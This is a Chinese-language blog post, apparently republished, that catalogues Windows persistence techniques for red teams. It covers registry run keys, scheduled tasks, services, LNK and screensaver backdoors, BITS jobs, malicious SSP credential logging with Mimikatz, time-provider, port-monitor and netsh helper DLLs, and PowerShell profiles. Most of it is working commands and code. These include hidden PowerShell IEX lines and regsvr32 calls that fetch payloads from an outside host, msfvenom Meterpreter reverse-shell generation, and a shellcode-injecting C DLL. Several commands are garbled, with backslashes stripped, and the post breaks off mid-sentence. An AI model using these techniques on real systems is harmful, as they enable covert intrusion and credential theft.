十二种Windows 权限维持整理!!!附详细步骤截图

admin 2021年12月31日00:18:20十二种Windows 权限维持整理!!!附详细步骤截图已关闭评论305 views字数 20354阅读67分50秒阅读模式

一、注册表运行

    在红队行动中,在网络中获得最初的立足点是一项耗时的任务。因此,持久性是红队成功运作的关键。在 Windows 登录期间创建将执行任意负载的注册表项是红队游戏手册上最古老的技巧之一。命令行-最新测试可用:

Reg add “HKCUEnvironment” /v UserInitMprLogonScript /t REG_SZ /d “C:xxx”

命令行-当前用户 Run 键:

Reg add “HKCUSoftwareMicrosoftWindowsCurrentVersionRun” /v Pentest /t REG_SZ /d “ C:xx”Reg add “HKCUSoftwareMicrosoftWindowsCurrentVersionRunOnceReg add “ HKCUSoftwareMicrosoftWindowsCurrentVersionRunServices Reg add “ HKCUSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce”

命令行-本地计算机 Run 键:

Reg add “HKLMSoftwareMicrosoftWindowsCurrentVersionRun” /v Pentest /t REG_SZ /d “ C:xx”Reg add “HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnceReg add “ HKLMSoftwareMicrosoftWindowsCurrentVersionRunServicesReg add “ HKLMSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce”

另外还有两个注册表位置,这两个位置可以允许红队通过执行任意有效负载过 DLL 来实现持久性,这些将在登录期间执行,且需要管理员级别的特权。

命令行-Meterpreter Run 键:

Reg add “HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnceEX001Reg add “HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnceEX001Depend
  MetasploitFramework 通过使用 Meterpreter脚本和后期利用模块来支持通过注册表的持久性,Meterpreter的
脚本将以 VBS 脚本的形式创建一个有效负载,该负载将被拖放在磁盘上,并创建一个注册项,该注册表项将在用户登录期间运行该有效负载。
Runpersistance -U -P windows/x64/meteroreter/reverse_tcp -i 5 -p 443 -rxx.xx.xx.xx
  看见有些权限维持把文件放进 temp 文件夹中的,不太建议,会被清理到。
 下面的 PoshC2 将会注册两个表项,注册表的“运行”项将具有 IEUpdate的名称,以便看起来合法;第二个表项将作为墙纸隐藏在注册表中

PoshC2-持久性:

HKCUSoftwareMicrosoftWindowscurrentversionrunIEUpdateHKCUSoftwareMicrosoftWindowscurrentversionthemsWallpaper777

Empire-持久性:

HKCUSoftwareMicorsoftWindowsCurrentVersionDebugHKLMSoftwareMicrosoftWindowsCurrentVersionDebug

图片

Empire-Persistense Registry Module

将在名曾 Updater 下创建另一个注册表项,该注册表项将要包含要执行的命令。Powershell 将尝试在下次登录时运行 Debug 密钥中存储的有效负载,以实现持久性。

HKCUSoftwareMicrosoftWindowsCurrentVersionRunHKLMSoftwareMicrosoftWindowsCurrentVersionRun

图片

二、计划任务

Windows 操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。这种行为可作为一种持久性机制被红队利用。通过计划任务执行持久性不需要管理员权限,但如果已获得提升的权限,则允许进一步操作,例如在用户登录期间或在空闲状态期间执行任务。

计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell 脚本或 scriptlet 的形式。这被认为是一种旧的持久性技术,但是它仍然可以在红队场景中使用,并且由各种开源工具支持。

在命令提示符下,“ schtasks ”可执行文件可用于创建计划任务,该任务将在每个 Windows 登录中以 SYSTEM 的形式下载并执行基于 PowerShell 的有效负载。

schtasks /create /tn PentestLab /tr"c:windowssyswow64WindowsPowerShellv1.0powershell.exe-WindowStyle hidden -NoLogo-NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient)
也可以在系统启动期间或用户会话处于非活动状态下执行。
#(X64) - On System Startschtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System#(X64) - On User Idle (30mins)schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30#(X86) - On User Loginschtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo-NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System#(X86) - On System Startschtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo-NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart/ru System#(X86) - On User Idle (30mins)schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo-NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

=======================================

有效负载的执行也可以在特定的时间发生,并且可以具有到期日期和自删除功能。“schtasks”实用程序提供了必要的选项,因为它是其功能的一部分。

schtasks /CREATE /TN "Windows Update" /TR "c:windowssyswow64WindowsPowerShellv1.0powershell.exe-WindowStyle  hidden  -NoLogo  -NonInteractive  -ep  bypass  -nop  -c  'IEX  ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53/Z /IT /RU %USERNAME%

通过为目标启用事件日志记录,则可以在特定的 Windows 事件中触发任务,
Wevtutil qe Security /f:text /c:1 /q:”Event[System[(EventId=4647)]]”
查询事件 ID,可以创建一个任务计划,该任务将在系统上发生关联的事件 ID 时执行有效负载。
schtasks /Create /TN OnLogOff /TR C:tmppentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]
持久性-计划任务事件 ID
查询参数可用于简述新创建的计划任务的信息
Schtasks /Query /tn OnLogOff /fo List /v
查询计划任务。当用户管理员注销时,将创建事件 ID,并在下次登录时执行有效负载。
三、新服务

如果未正确配置 Windows 环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提升。创建一个新的服务需要管理员级别的特权,它已经不是隐蔽的持久性技术。然而,在红队的行动 中,针对那些在威胁检测方面还不成熟的公司,可以用来制造进一步的干扰,企业应建立 SOC 能力,以识别在其恶意软件中使用基本技术的威胁

命令行实现

如果账户具有本地管理员权限,则可以从命令提示符创建服务。参数 Binpath 用执行任意有效负载,而参
数 Auto 用于确保恶意服务将自动启动。

sc create pentestlab binpath= "cmd.exe /k C:temppentestlab.exe" start="auto" obj="LocalSystem"sc start pentestlab

从 CMD 创建或者可以直接从 PowerShell 创建新服务:

New-Service -Name "pentestlab" -BinaryPathName "C:temppentestlab.exe" -Description "PentestLaboratories" -StartupType AutomaticSc start pentestla

四、快捷方式修改

Windows 快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。自从恶意软件出现之初,便
已将快捷方式用作执行恶意代码以实现持久性的一种方法。快捷方式的文件扩展名是.LNK,它为红队提供了
很多机会来执行各种格式的代码(exe,vbs,PowerShell,Scriptlet 等)或窃取 NTLM 哈希值。更隐蔽的方法是修改现
有合法快捷方式的属性,但是生成具有不同特征的快捷方式可以为代码执行提供灵活性

Empire 包含一个持久性模块,该模块可以合理地使用后门快捷方式,以执行任意的 PowerShell 有效负载。现有快捷方式的目标字段将被修改以执行存储在注册表项中的 base64 脚本。

Use module persistence/userland/backdoor_lnk

图片

Empire-后门快捷方式

  查看快捷方式的属性将显示目标字段已成功修改以执行 PowerShell 有效负载。


图片

由于快捷方式存在于启动文件夹中,因此暂存器将在下一次 Windows 登录中执行,并且将与命令和控制
服务器建立连接。

图片

但是,Empire 包含一个可用于生成具有 LNK 文件格式的暂存器的模

Use stagerwindows/launcher_lnkSetlistener httpExecute

图片Empire-创建快捷方式

默认情况下,此模块将使用写字板图标伪装成可信任的应用程序。

图片

     快捷方式的目标字段将使用执行 Base64 有效负载的 PowerShell 命令填充,可以将快捷方式转移并移动到启动
文件夹中以保持持久性。

图片

SharPerist

      Sharperist 能够创建 Internet Explorer 快捷方式,该快捷方式将执行任意有效负载并将其放置在启动文件夹中以实现持久性。

Sharperist.exe-t startupfolder -c “cmd.exe” -a “/c C:temppentestlab.exe” -f “pentestlab” -madd

图片当用户进行身份验证是,将执行有效负载,并打开 Meterpreter

图片

五、屏幕保护程序

  屏幕保护是 Windows 功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周
知,Windows 的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr 文件扩展名的可执行文件,并通过 scrnsave.scr 实用程序执行
屏幕保护程序设置存储在注册表中,从令人反感的角度来看,最有价值的值是
HKCUControl PanelDesktopSCRNSAVE.exeHKCUControl PanelDesktopScreenSaveaActiveHKCUControl PanelDesktopScreenSaverSecureHKCUControl PanelDesktopScreenSaveTimeOut

图片

可以通过命令提示符或者从 PowerShell 控制台修改或者添加注册表项。由于.scr 文件本质上是可执行文件,因此连个扩展名
都可以用于后门植入
reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:tmppentestlab.exereg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:tmppentestlab.scrNew-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.exe' New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.scr'

图片

一旦机器不活动事件段过去,将执行任意有效载荷,并且将再次家里命令和控制的通信。

图片

Nishang 框架包含一个 PowerShell 脚本,该脚本也可以执行此攻击,但与上述方法相比,它需要管理级别的特权,因为它在本地计算机中使用注册表项来存储将执行远程托管有效负载的PowerShell 命令,这样的技术的好处是它不会接触磁盘

Import-Module .Add-ScrnSaveBackdoor.ps1 Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO

图片

在这种情况下,可以使用 Metasploit Web 交付模块生成并托管 PowerShell 负载。一旦用户会话变为空闲,屏幕波阿虎程序将执行 PowerShell 负载,然后将打开一个 meterpreter会话  

Useexploit/multi/script/web_deliverySet payload windows/x64/meterpreter/reverse_tcpSet lhost IPSet target 2Run

图片

       利用屏幕保护程序的持久性技术的问题在于,当用户返回并且系统位处于空闲模式时,会话将会终端。但是,redteam 可以在用户不在时执行其操作。如果屏幕保护程序被组策略

match

禁用,在该技术不能用于持久性
六、BITS Jobs

Windows 操作系统包含各种使用程序,系统管理员可以使用他们来执行各种任务。这

些使用程序之一时后台智能传输服务(BITS),它可以促进文件到 Web 服务器(HTTP)和共享文件夹(SMB)的传输能力。Mircrosoft 提供一个名为”bitsadmin”的二进制文件和 Powershell cmdlet,用于创建和管理文件传输。

从攻击的角度来看,可以滥用此功能,以便在受感染的主机上下载有效负荷(可执行文件,PowerShell 脚本, Scriptlet 等)并在给定时间执行这些文件,以在红队操作中保持持久性。但是,与”bitsadmin”进行交互需要管理员级别的权限。执行以下命令会将恶意有效负载从远程位置下载到本地目录
bitsadmin /transfer backdoor /download /priority high http://10.0.2.21/pentestlab.exe C:tmppentestlab.exe

图片

还有一个 PowerShell cmdlet 可以执行相同的任务。

Start-BitsTransfer -Sourcehttp://xx.xx.xx.xx/pentestlab.exe” -Destination “C:tmppentestlab.exe”

图片

将文件放入磁盘后,可以通过从“bitsadmin”程序执行以下命令来实现持久性,用法非常简单:

1. 在创建参数需要作业的名称

2. 该 addfile 需要文件的远程位置和本地路径

3. 该 SetnotifyCmdLine 将执行的命令

4. 所述 SetMinRetryDelay 定义时间回调(sec)

5. 该参数将开始运行工作

bitsadmin/create backdoor bitsadmin /addfile backdoor"http://10.0.2.21/pentestlab.exe"  bitsadmin/SetNotifyCmdLine backdoor C:tmppentestlab.exe NUL bitsadmin/SetMinRetryDelay "backdoor" 60 bitsadmin /resume backdoor

图片

当任务在系统上运行时,有效负载将被执行,Meterpreter 会话将打开,或者通信将被接收回命令和控制(取决与场合中使用的 C2)

图片

参数 SetNotifyCmdLine 也可用于通过 regsvr32 使用程序从远程位置执行 script 脚本。这种方法的好处是它

不会接触磁盘,并且可以避开将应用程序列入白名单的产品。

bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.0.2.21:8080/FHXSd9.sct scrobj.dll" bitsadmin /resume backdoo

图片

Metasploit 框架可用于通过 Web 交付模块捕获有效负载。

use exploit/multi/script/web_delivery set target 3 set payload windows/x64/meterpreter/reverse_tcpset LHOST 10.0.2.21Exploit

图片

七、安全支持提供者

安全支持提供程序(SSP)是 WindowsAPI,用于扩展 Windows 身份验证基址。LSASS 进程正在 Windows 启动期间加载安全支持提供程序 DLL。这种行为使红队的攻击者可以删除一个任意的 SSP DLL 以便与 LSASS 进程进行交互并记录该进程中存储的所有密码,或者直接用恶意的 SSP 对该进程进行修补而无需接触磁盘。
该技术可用于收集一个系统或多个系统中的凭据,并将这些凭据与另一个协议(例如 RDP、WMI 等)结合使用,以免干扰检测,从而在网络中保持持久性。向主机注入恶意安全支持提供程序管理员级别的特权,并且可以使用两种方法:

1. 注册 SSP DLL

2.  加载到内存

Mimikatz,Empire 和 PowerSploit 支持这两种方法,可以在红队中使用。

Mimikatz

项目 Mimikatz 提供一个 DLL 文件(mimilib.dll),可以将其放到与 LSASS 进程(System32)相同的位置,以便为访问
受感染主机的任何用户获得纯文本凭据。
C:WIndowsSystem32
将文件传输到上述位置后,需要修改注册表项以包括新的安全支持提供程序 mimilib

reg add"hklmsystemcurrentcontrolsetcontrollsa" /v "SecurityPackages" /d"kerberosmsv1_0schannelwdigesttspkgpku2umimilib"/t REG_MULTI_SZ

图片

查看“安全软件包”注册表项将验证是否以注入恶意安全支持提供程序。
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSecurity Packages

图片

由于注册表已被篡改并且 DLL 存储在系统中,因此该方法将在重新启动后继续存在。当域用户再次通过系统进行身份验证时,将创建一个名为 kiwissp 的新文件,该文件将记录账户的凭据。
C:WindowsSystem32kiwissp.log

图片

Mimikatz-kiwissp

另外,Mimikatz 通过向 LSASS注入新的安全支持提供程序(SSP)来支持内存技术选项。此技术不需要将 mimilib.dll放入磁盘或创建注册表项。但是,缺点在于重新启动过程中不会持续存在。

Pivilege::debug

Misc::memssp图片

当用户再次通过系统进行身份验证时,将在 System32 中创建一个日志文件,其中将包含纯文本用户密码。

C:WindowsSystem32mimilsa.log

图片

相似工具还有 Empire、Powersploit、SharpsploitConsole 大同小异。

八、时间服务器

Windows 操作系统正在利用时间提供者体系结构,以便从网络中的其他网络设备或客户端获取准确的时间戳。时间提供者以 DLL 文件的形式实现,该文件位于 System32 文件夹中。Windows 启动期间将启动服务

W32Time 并加载 w32time.dll。DLL 加载是一种已知的技术,通常使红队攻击者有机会执行任意代码。由于关联的服务会在 Windows 启动期间自动启动,因此可以将其用作持久性机制。但是,此方法需要管理员级别的特权,因为指向时间提供者 DLL 文件的注册表项存储在 HKEY_LOCAL_MACHINE 中。根据系统是用作 NTP 服务器还是 NTP 客户端,使用以下两个注册表位置。

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClientHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpServer

该 W32Time 将运行在 Windows 环境作为本地服务,它是通过 svchos.exe 的执行

图片

恶意 DLL 已放入磁盘中,将执行有效负载。在命令行下,可以通过执行以下命令以指向任意 dll 的位置来修改时间提供者注册表项。

reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient" /v DllName /t REG_SZ /d "C:tempw32time.dll"

从注册表编辑器中查看注册表将确认 Dllname 的值已更新。

图片

该服务将在 Windows 启动期间启动,或者通过执行以下命令手动启动

Sc stop w32time

Sc start w32time

图片

将执行任意有效负载,并建立 meterpreter 会话

图片

修改 Windows 时间提供程序可能会向 SOC 团队发出警报。来自 Carbon Black 的 Scott Lundgren 在 C 中开发了一种称为 gametime 的时间提供程序。可以使用此 DLL 来向操作系统注册新的时间提供者,并在其他注册表项中执行修改。这样可以避免滥用现有的 Windows 时间提供程序,而该时间提供程序可以由 SOC 监视。

Rundll32 可用于注册 DLL。

Scott Lundgren 使用了要在系统上创建的注册表项“ GameTime”。

#define GAMETIME_SVC_KEY_NAME L"System\CurrentControlSet\Services\W32Time\TimeProviders\GameTime"

图片

根据 Microsoft 文档,时间提供者必须实现以下回调函数。

TimeProvOpen

TimeProvCommand

TimeProvClose

TimeProvOpen 用于返回提供者句柄,TimeProvCommand 用于将命令发送到时间提供者,而

TimeProvClose 用于关闭时间提供者。

HRESULT __stdcall TimeProvOpen(_In_ WCHAR *wszName,_In_ TimeProvSysCallbacks *pSysCallbacks,_Out_ TimeProvHandle *phTimeProv){UNREFERENCED_PARAMETER(pSysCallbacks);UNREFERENCED_PARAMETER(phTimeProv);OutputDebugStringW(wszName);return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));}/***/HRESULT __stdcall TimeProvCommand(_In_ TimeProvHandle hTimeProv,_In_ TimeProvCmd eCmd,_In_ PVOID pvArgs){UNREFERENCED_PARAMETER(hTimeProv);UNREFERENCED_PARAMETER(eCmd); UNREFERENCED_PARAMETER(pvArgs); return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));}/***/HRESULT __stdcall TimeProvClose(_In_ TimeProvHandle hTimeProv){UNREFERENCED_PARAMETER(hTimeProv); return (S_OK);}

图片

GameTime 提供程序将在系统上填充以下注册表项,因为它们是 Microsoft 时间提供程序规范的一部分。

DllName

Enabled

Inputprovider

DllName 指示包含供应商,该 DLL 的名称启用的使然是否提供商在系统启动过程中启动,当值为 1 时,启动系统的提供者,而 InputProvider 指示提供者是输入还是输出。注册表值“1”表示已输入提供者。这些在下面的代码中指定:

nRet = RegSetValueExW(hkTimeProvider,L"DllName",0,REG_SZ,(LPBYTE)g_wzModule,(DWORD)wcslen(g_wzModule)*sizeof(WCHAR)+sizeof(WCHAR)); if (ERROR_SUCCESS != nRet) {OutputError(L"RegCreateKeyExW failed", nRet); goto ErrorExit; } nRet = RegSetValueExW(hkTimeProvider, L"Enabled",0,REG_DWORD, (LPBYTE)&dwOne, sizeof(dwOne)); if (ERROR_SUCCESS != nRet) { OutputError(L"RegCreateKeyExW failed", nRet); goto ErrorExit; } nRet = RegSetValueExW(hkTimeProvider,L"InputProvider",0,REG_DWORD, (LPBYTE)&dwOne, sizeof(dwOne)); if (ERROR_SUCCESS != nRet) { OutputError(L"RegCreateKeyExW failed", nRet); goto ErrorExit; }

图片

该代码还是用 Deregister 回调函数从系统中删除创建的注册表项 GameTime,作为清理过程。

HKLMSystemCurrentVersionServicesW32TimeTimeProvidesGameTimevoid CALLBACK Deregister( _In_ HWND hWnd,_In_ HINSTANCE hInst,_In_ LPSTR pwzCmdLine,_In_ int nCmdShow){ long nRet;UNREFERENCED_PARAMETER(hWnd);UNREFERENCED_PARAMETER(hInst);UNREFERENCED_PARAMETER(pwzCmdLine);UNREFERENCED_PARAMETER(nCmdShow); OutputDebugStringW(L"Unregistern"); nRet = RegDeleteKeyW(HKEY_LOCAL_MACHINE, GAMETIME_SVC_KEY_NAME); if (ERROR_SUCCESS != nRet){ OutputError(L"RegDeleteKeyW failed!", nRet); goto ErrorExit;} ErrorExit: return; }

图片

实际上,可以使用 rundll32 项系统注册 dll,以便创建关联的注册表项,默认情况下,该注册表项将与系统一起启用新的时间提供程序。

Rundll32.exe gametime.dll,Register

图片

将创建注册表项 GameTime,并且 DllName 将包含 DLL 的路径。

图片

再次修改注册表以包含任意 dll,将在服务启动期间执行类似于Windows 时间提供程序的源代码

图片

系统上进行清理。

Rundll32.exe gametime.dll,Deregister

图片

取消注册 gametime.dll 

九、端口监视器

后台打印服务程序负责管理 Windows 操作系统中的打印作业,与服务的交互通过打印后台处理程序 API 执行,该 API 包含一个函数(AddMonitor),可用于安装本地端口监视器并连接配置、数据和监视器文件。此函数能够将 dll 注入 spoolsv.exe 进程,并且通过创建注册表项,红队操作可以在系统上实现持久性。

Brady Bloxham 在 Defcon 22 上演示了这种持久性技术。应该注意的是,此技术需要管理员级别的特权,并且 DLL 必须拖放到磁盘上。Mantvydas Baranauskas 在他的网站上使用了以下代码,作为他的红色团队笔记的一部分。

该 WINDOWS.H 报头包括 Winspool.h 这是由微软规范所需的头。该 MONITOR_INFO_2 用于指定必要的监控细节是:

pName //监视器名称

pEnvironment //环境

pDLLName //监视器 DLL 文件的名称

#include "Windows.h"int main() {MONITOR_INFO_2 monitorInfo;TCHAR env[12] = TEXT("Windows x64");TCHAR name[12] = TEXT("Monitor"); TCHAR dll[12] = TEXT("test.dll"); monitorInfo.pName = name; monitorInfo.pEnvironment = env; monitorInfo.pDLLName = dll;AddMonitor(NULL, 2, (LPBYTE)&monitorInfo); return 0;}

图片

AddMonitor 功能

编译代码将生成一个可执行文件(在本例中为 Monitors.exe),该可执行文件将在系统上执行恶意 DLL(test.dll) 的注册。Metasploit 框架可用于生成将服务与 Meterpreter 有效负载的 DLL 文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= xx.xx.xx.xx LPORT=4444 -f dll > test.dll

该 DLL 必须复制到 System32 文件夹中,因为依据 Microsoft 文档,这个是 AddMonitor 函数的预加载位置,以便加载相关 DLL。

CopyC:UserspentestlabDesktoptest.dll C:WindowsSystem32 >:Monitors.exe

图片

将恶意 DLL 复制到 System32

Monitors.exe 文件必须与恶意 DLL 位于同一 System32 文件夹中。执行该文件将于 Meterpreter 建立通信

图片

图为 Meterpreter-AddMonitor 注册 DLL

但是,为了实现持久性,在“Monitors”注册表位置下需要一个密钥。

HKLMSystemCurrentVersionControlPrintMonitors

以下命令将创建一个注册表项,该注册表项将包含值 test.dll。从编辑器中查看注册表将验证密钥是否已创建。

reg add"HKLMSystemCurrentVersionControlPrintMonitorsPentestlab" /v"Driver" /d "test.dll" /t "REG_SZ"

图片

下次重新启动时,spoolsv.exe 进程将加载 Monitors 注册表项中存在并存储在 Windows 文件夹的 System32 中的所有驱动程序 DLL 文件。

下图演示了 Meterpreter 会话已建立与 Print Spooler 服务(SYSTEM)相同级别的特权,并且已从 System32 文件夹(已删除 test.dll 的文件夹)执行了执行

图片

持久性端口监视器-Meterpreter

、Netsh Helper DLL

Netsh 是 Windows 实用程序,管理员可以使用它来执行与系统网络配置有关的任务,并在基于主机的 Windows 防火墙上进行修改。可以通过使用 DLL 文件来扩展 Netsh 功能。此功能是 redteam 可以使用此工具来加载任意 DLL,以实现代码执行并因此实现持久性。但是,此技术的实现需要本地管理员级别的特权。可以通过 Metasploit Framework 的“msfvenom”生成任意 DLL 文件

Msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f dll > /tmp/pentest.dll

图片

生成恶意 DLL

可以通过 Meterpreter 的上传功能将 DLL 文件传输到目标主机中。

图片

上传恶意 DLL

在添加一些帮手可以用来注册用的 DLL”Netsh”的使用工具。

Netsh

Add-helper path-to-mailcious-dll

图片

添加助手 dll

每次 netsh 启动时,都会执行 dll,并其将建立通信。

图片

Netsh Helper DLL - Meterpreter

但是,在默认的情况下,netsh 没有计划自启动。创建将在 Windows 启动期间执行实用程序的注册表项将在主机上创建持久性。这可以直接从 Meterpreter 会话或 Windows Shell 中完成。

reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:WindowsSysWOW64netsh" reg setval -k HKLM\software\microsoft\windows\currentversion\run\ -v pentestlab -d 'C:WindowsSysWOW64netsh'

图片创建注册表运行密钥

注册表运行键的替代方法是,可以使用多种其他方法来启动实用程序,例如创建服务或计划任务。

击败一家总部位于荷兰的 IT 安全公司,该公司率先在其 Github 存储库中发布概念证明 DLL 。DLL 是由 Marc

Smeets用C编写的,可以对其进行修改以包含自定义的shellcode。Metasploit Framework实用程序“ msfvenom ” 可用于生成各种语言的 shellcode

msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp -b 'x00' -f c

图片

C ShellCode -Netsh
可以将生成的 shellcode 注入到 Netsh Helper DLL 代码中

#include<stdio.h>#include<windows.h> //only required if you want to pop calc#ifdef _M_X64 unsigned char buf[]="x48x31xc9x48x81xe9xc0xffxffxffx48x8dx05xefxffxffxffx48xbb";#else unsigned char buf[]="x48x31xc9x48x81xe9xc0xffxffxffx48x8dx05xefxffxffxffx48xbb"; #endif//Start a separate thread so netsh remains useful.DWORD WINAPI ThreadFunction(LPVOID lpParameter){LPVOID newMemory;HANDLE currentProcess;SIZE_T bytesWritten;BOOL didWeCopy=FALSE; //Get the current Process handle.currentProcess = GetCurrentProcess();//Allocate memory with Read+Write+Execute permissions  newMemory  =VirtuallAllocEx(currentProcess,NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE); if(newMemory == NULL)return -1;//Copy the shellcode into the memory we just created didWeCopy = WriteProcessMemory(currntProcess,newMemory,(LPCVOID)&buf,sizeof(buf),&bytesWritten); if(!didWeCopy) return -2;//Yeah! Let's run our shellcode!((void(*)())newMemory)();//define the DLL handler "InitHelpderDll" as required by netsh///See https://msdn extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved){//make a thread handler, start the function as a thread, and close the handlerthreadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);CloseHandle(threadHandle);// simple testing by starting calculator system ("start calc");// return NO_ERROR is required. Here we are doing it the nasty way return 0;}

图片

Netsh 帮助程序 DLL

与上述方法类似,rtcrowley 在他的 Github 存储库中发布了该方法的 PowerShell 版本。以下代码可用于执行 PowerShell Base64 编码的有效负载,并支持两个选项

图片

Netsh Helper DLL - PowerShell 方法

执行”netsh”使用并使用”add helper”命令加载系统中的两个 DLL 都将执行继承的有效负载。

netsh add helper C:UserspentestlabDesktopNetshHelperBeacon.dll add helper C:UserspentestlabDesktopNetshPowerShell.dll

图片

Netsh 助手 DLL

Empire 和 Metasploit 的”multi/handler“模块可用于接收来自两个 DLL 的通信。

图片

Netsh 助手 DLL PowerShell

图片

当执行”添加帮助程序”命令以加载 DLL 文件时,将在以下位置创建注册表项。

HKLMSoftwareMicrosoftNetsh

图片

Netsh 注册表项

应该注意的时,某些可能安装在受感染系统上的 VPN 客户端可能会自动”netsh”启动,因此可能不需要使用其他办法进行持久化

十一、PowerShell配置文件

PowerShell 配置文件是一个 PowerShell 脚本,它允许系统管理员和用户自定义其环境,并在 PowerShell 会话启动时执行特定命令。它类似于管理员大量使用的登录脚本,用于为用户映射网络驱动器和打印机或收集有关系统的信息。如果用户定期在 PowerShell 上执行工作,修改 PowerShell 概要文件脚本的内容将允许对手或 red 团队将其用作持久性机制。这种技术可以在当前用户的上下文中执行。

PowerShell 配置文件脚本存储在“WindowsPowerShell”文件夹中,默认情况下,该文件夹对用户隐藏。如果已将负载放入磁盘,则可以使用“Start-Process”cmdlet 指向可执行文件的位置。“测试路径$Profile”确定当前用户是否存在配置文件。如果配置文件不存在,命令“新项-路径-配置文件类型-文件强制”将为当前用户创建一个概要文件,“out 文件”将用新内容重写概要文件。

echo $profileTest-Path $profileNew-Item  -Path $profile -Type File –Force$string = 'Start-Process "C:tmppentestlab.exe"'$string | Out-File -FilePath"C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append


图片

PowerShell 配置文件-启动过程

PowerShell 下次启动时将执行配置文件的内容,并使用命令和控件建立连接。

图片

持久性-PowerShell 配置文件可执行

与启动过程类似,“ Invoke-Item ” cmdlet 可用于执行项目的默认操作,即运行文件,打开应用程序等。launcher.bat 是 Empire 生成的有效负载,具有自我删除功能在执行时作为更秘密的选择,因为它不会创建新流程。

echo $profileTest-Path $profileNew-Item -Path $profile -Type File –ForceAdd-Content $profile "Invoke-Item C:tmplauncher.bat"$string | Out-File -FilePath"C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append


图片

PowerShell 配置文件-Bat 文件

当 PowerShell 在系统上再次启动时,将执行该文件,并且代理将于命令和控件进行通讯。执行不会像上面的示例那样在系统上创建新进程,而是将使用现有的 PowerShell 进程

图片

持久性-PowerShell Profile Empire

cmdlet“ Invoke-Command ” 的用法允许执行命令。regsvr32 方法可以用作隐藏选项,因为它可以规避未正确配置的应用程序白名单解决方案,并且可以从远程位置执行 scriptlet。

echo $profileTest-Path $profileNew-Item -Path $profile -Type File –Force$string = 'Invoke-Command -ScriptBlock { regsvr32 /s /n /u /i:http://10.0.2.21:8080/jWcEbr.sct scrobj.dll }'$string | Out-File -FilePath"C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append

图片

PowerShell 配置文件-执行命令

vMetasploit 框架包含一个模块(web_delivery),该模块可以生成并提供恶意 scriptlet 文件。但是,其他命令和控制(C2)框架(例如 PoshC2)也支持此功能,并且与 Metasploit 相比,可以提供扩展的功能

图片

持久性-Powershell 配置文件 Regsvr32

使用多个命令对 PowerShell 配置文件进行大量修改会向用户发送一条有关增加加载时间的消息。但是,执行一个命令不会产生任何消息,有效负载将在后台运行,并且用户不会注意到任何差异。马特·尼尔森(Matt

Nelson)过去做过一些工作,在他的博客中已经展示了有关通过使用 Excel 宏作为传递机制来创建和滥用

